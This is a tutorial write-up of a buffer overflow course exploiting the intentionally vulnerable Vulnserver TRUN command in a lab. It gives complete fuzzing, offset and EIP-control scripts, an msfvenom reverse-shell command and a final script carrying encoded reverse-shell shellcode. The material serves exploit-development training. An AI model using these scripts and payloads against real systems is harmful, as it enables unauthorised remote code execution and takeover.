Buffer Overflows

Today I take a look at the Buffer Overflows Made Easy course by The Cyber Mentor.

Anatomy of Memory

Virtual memory consists of kernel-space, user-space and the MBR/BIOS. Kernel-space can access user-space, user-space cannot access kernel-space, this would result in a SEGFAULT. Each process has a segment in memory, processes related to the correct functionality of the Operating System will run in Kernel-mode, other generic software and applications will run in user-mode.

Upon creation of a process, the OS will allocate and assign a Heap to the process. The heap is memory set asside for dynamic allocation. There is no pattern to allocate or deallocate blocks, and you can do so at any time. The heap is typically reclaimed at process exit. The size of the heap is determined at process creation and can grow if needed.

Each thread of a process gets a stack. The stack is memory set asside for static allocation, the size of the stack is set when the thread is created and cannot grow. The stack is reclaimed when the thread exits.

anatomy of memory

Anatomy of The Stack

The stack is created with an actual stack data structure, it starts with a high address (eg. 0xffffffff) and grows to a lower address (eg. 0x00000000) and works according to the Last In First Out (LIFO) principle. Because of this, it is easy to allocate and deallocate blocks on the stack, using a stack pointer (SP). The stack pointer is stored in a special register on the CPU called ESP (extended stack pointer) and initially points to the top of the stack (the highest address on the stack).

Registers:

  • ESP: extended stack pointer: points at the top of the stack
  • EBP: extended base pointer: points at the base of the stack
  • EIP: extended instruction pointer: contains the address of the next instruction to be executed
  • EAX: accumulator register: often contains return value
  • EBX: base register: used as base pointer for memory addresses
  • ECX: counter register: used as loop counter
  • EDX: data register: used for I/O, arithmetic, some interrupt calls
  • EDI: destination index register: used for string, memory array copying and setting
  • ESI: source index register: used for string, memory array copying
  • CS: code segment
  • DS: data segment
  • SS: stack segement: stores start address of the stack

By overflowing the stack bufferspace, it is possible to overwrite the EBP and reach the EIP. Since the EIP points to the next instuction to execute, modifying it can result in running arbitrary code.

the stack

32bit Buffer Overflow

Spiking

Spiking is the process of finding out if something is vulnerable to a BOF. This can be done in multiple ways, most commonly by sending large amounts of data. I will spike Vulnserver’s TRUN command using generic_send_tcp and monitor the process with Immunity Debugger.

The spike script: trun.spk

s_readline();
s_string("TRUN ");
s_string_variable("0");

spiking with generic_send_tcp

The TRUN command is vulnerable to a bufferoverflow and the ESP, EBP and EIP have successfully been overwritten with ‘A’ or ‘0x41’.

vulnserver bof

Fuzzing

Fuzzing is used to determine when the target program breaks. I will use a python2 script to repeatedly send an increasing buffer until the target crashes.

fuzz.py

#!/usr/bin/python

import sys, socket

buffer = "A" * 100

while True:
        try:
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect(('10.0.0.101',9999))

                s.send(('TRUN /.:/' + buffer))
                s.close()
                buffer = buffer + "A" * 100
        except:
                print("Fuzzing crashed at %s bytes" % str(len(buffer)))
                sys.exit()

From the output I can tell the target crashed roughly around 2900 bytes.

bof fuzz

Finding the offset

Before I can overwrite the EIP, I need to find the offset. To do this, I will use Metasploit’s pattern_create. The -l switch will tell pattern_create to use a length of 3500 bytes, as the target crashed roughly around 2900 bytes.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3500

bof pattern

Next I’ll use a modified version of my fuzzing script

offset.py

#!/usr/bin/python

import sys, socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em"

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.0.101',9999))
        s.send(('TRUN /.:/' + offset))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

I have successfully overwritten EIP with the following value: 0x386F4337.

bof offset

Now to find the offset I’ll use another Metasploit tool pattern_offset. I’ll specify the value in EIP with the -q switch.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3500 -q 386F4337

Metasploit finds an exact match at offset 2003.

bof offset match

Overwriting EIP

Now that I have the offset, I can try and control EIP. I’ll use a modified version of the offset.py script to set EIP equal to 0x42424242 or BBBB.

eip.py

#!/usr/bin/python

import sys, socket

offset = "A" * 2003
eip= "B" * 4

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.0.101',9999))
        s.send(('TRUN /.:/' + offset + eip))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

After executing the script, I can see EIP is now equal to 0x42424242 or BBBB. I can successfully control EIP.

controlling eip

Finding bad characters

Before generating shellcode, I have to figure out what the bad characters are. This can be done by running all the different hex characters through the program, and seeing which ones act up. By default, the nullbyte 0x00 acts up.

I’ll use a modified version of my eip.py script with the badchars variable you can find here. Because 0x00 is a bad character by default, I’ll remove it from the variable.

badchars.py

#!/usr/bin/python

import sys, socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

offset = "A" * 2003
eip= "B" * 4

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.0.101',9999))
        s.send(('TRUN /.:/' + offset + eip + badchars))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

After running the script, I’ll have to look at the hexdump to identify any out of place characters. starting at 0x01 all the way up to 0xff. Take note of any missing or out of place characters as they’ll mess up the shellcode.

bof badchars

Finding the right module

I am looking for a DLL or similar module in a program that has no memory protection. Memory protection techniques include:

  • Data Execution Prevention (DEP)
  • Address Space Layout Randomization (ASLR)
  • Safe Structured Exception Handler (SafeSEH)
  • Structured Exception Handling Overwrite Protection (SEHOP)

I will use Mona modules together with Immunity Debugger to find an unprotected module. To install, copy mona.py to C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands In Immunity Debugger, run the !mona modules command.

Looking at the output, essfunc.dll seems to be a good candidate. 0BADF00D 0x62500000 | 0x62508000 | 0x00008000 | False | False | False | False | False | -1.0- [essfunc.dll] (C:\Users\Cerbersec\Desktop\vulnserver\essfunc.dll)

mona modules

Next up I’ll have to find the opcode equivalent of a JMP ESP instruction. I’ll use /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb to spawn nasm_shell and type JMP ESP.

JMP ESP

Back in Immunity Debugger I can use !mona find -s "\xff\xe4" -m essfunc.dll to find return addresses.

return addresses

I’ll will modify my badchars.py script to set EIP equal to the return address. X86 architecture uses little endian, so the bytes are in reverse order.

module.py

#!/usr/bin/python

import sys, socket

#address: 625011AF

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.0.101',9999))
        s.send(('TRUN /.:/' + shellcode))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

In Immunity Debugger I’ll jump to the 625011AF address and use F2 to set a breakpoint.

breakpoint

After executing module.py, Immunity Debugger will hit the breakpoint at essfunc.625011AF.

Generate shellcode

The final step after controlling EIP and ESP, is generating shellcode. I’ll do this with msfvenom, -p for payload, -f for filetype, -a for architecture and -b for bad characters.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.100 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

After generating the shellcode, I’ll add it to a modified version of my module.py script.

shellcode.py

#!/usr/bin/python

import sys, socket

#address: 625011AF

overflow= ("\xd9\xec\xb8\x23\x7d\x26\xc9\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x52\x31\x45\x17\x03\x45\x17\x83\xce\x81\xc4\x3c\xec\x92\x8b"
"\xbf\x0c\x63\xec\x36\xe9\x52\x2c\x2c\x7a\xc4\x9c\x26\x2e\xe9"
"\x57\x6a\xda\x7a\x15\xa3\xed\xcb\x90\x95\xc0\xcc\x89\xe6\x43"
"\x4f\xd0\x3a\xa3\x6e\x1b\x4f\xa2\xb7\x46\xa2\xf6\x60\x0c\x11"
"\xe6\x05\x58\xaa\x8d\x56\x4c\xaa\x72\x2e\x6f\x9b\x25\x24\x36"
"\x3b\xc4\xe9\x42\x72\xde\xee\x6f\xcc\x55\xc4\x04\xcf\xbf\x14"
"\xe4\x7c\xfe\x98\x17\x7c\xc7\x1f\xc8\x0b\x31\x5c\x75\x0c\x86"
"\x1e\xa1\x99\x1c\xb8\x22\x39\xf8\x38\xe6\xdc\x8b\x37\x43\xaa"
"\xd3\x5b\x52\x7f\x68\x67\xdf\x7e\xbe\xe1\x9b\xa4\x1a\xa9\x78"
"\xc4\x3b\x17\x2e\xf9\x5b\xf8\x8f\x5f\x10\x15\xdb\xed\x7b\x72"
"\x28\xdc\x83\x82\x26\x57\xf0\xb0\xe9\xc3\x9e\xf8\x62\xca\x59"
"\xfe\x58\xaa\xf5\x01\x63\xcb\xdc\xc5\x37\x9b\x76\xef\x37\x70"
"\x86\x10\xe2\xd7\xd6\xbe\x5d\x98\x86\x7e\x0e\x70\xcc\x70\x71"
"\x60\xef\x5a\x1a\x0b\x0a\x0d\x2f\xcc\x14\xa9\x47\xce\x14\x20"
"\xc4\x47\xf2\x28\xe4\x01\xad\xc4\x9d\x0b\x25\x74\x61\x86\x40"
"\xb6\xe9\x25\xb5\x79\x1a\x43\xa5\xee\xea\x1e\x97\xb9\xf5\xb4"
"\xbf\x26\x67\x53\x3f\x20\x94\xcc\x68\x65\x6a\x05\xfc\x9b\xd5"
"\xbf\xe2\x61\x83\xf8\xa6\xbd\x70\x06\x27\x33\xcc\x2c\x37\x8d"
"\xcd\x68\x63\x41\x98\x26\xdd\x27\x72\x89\xb7\xf1\x29\x43\x5f"
"\x87\x01\x54\x19\x88\x4f\x22\xc5\x39\x26\x73\xfa\xf6\xae\x73"
"\x83\xea\x4e\x7b\x5e\xaf\x6f\x9e\x4a\xda\x07\x07\x1f\x67\x4a"
"\xb8\xca\xa4\x73\x3b\xfe\x54\x80\x23\x8b\x51\xcc\xe3\x60\x28"
"\x5d\x86\x86\x9f\x5e\x83")


shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.0.0.101',9999))
        s.send(('TRUN /.:/' + shellcode + overflow))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

Next I’ll set up a listener on port 4444 with netcat: nc -lnvp 4444 and run shellcode.py. I successfully get a reverse shell.

reverse shell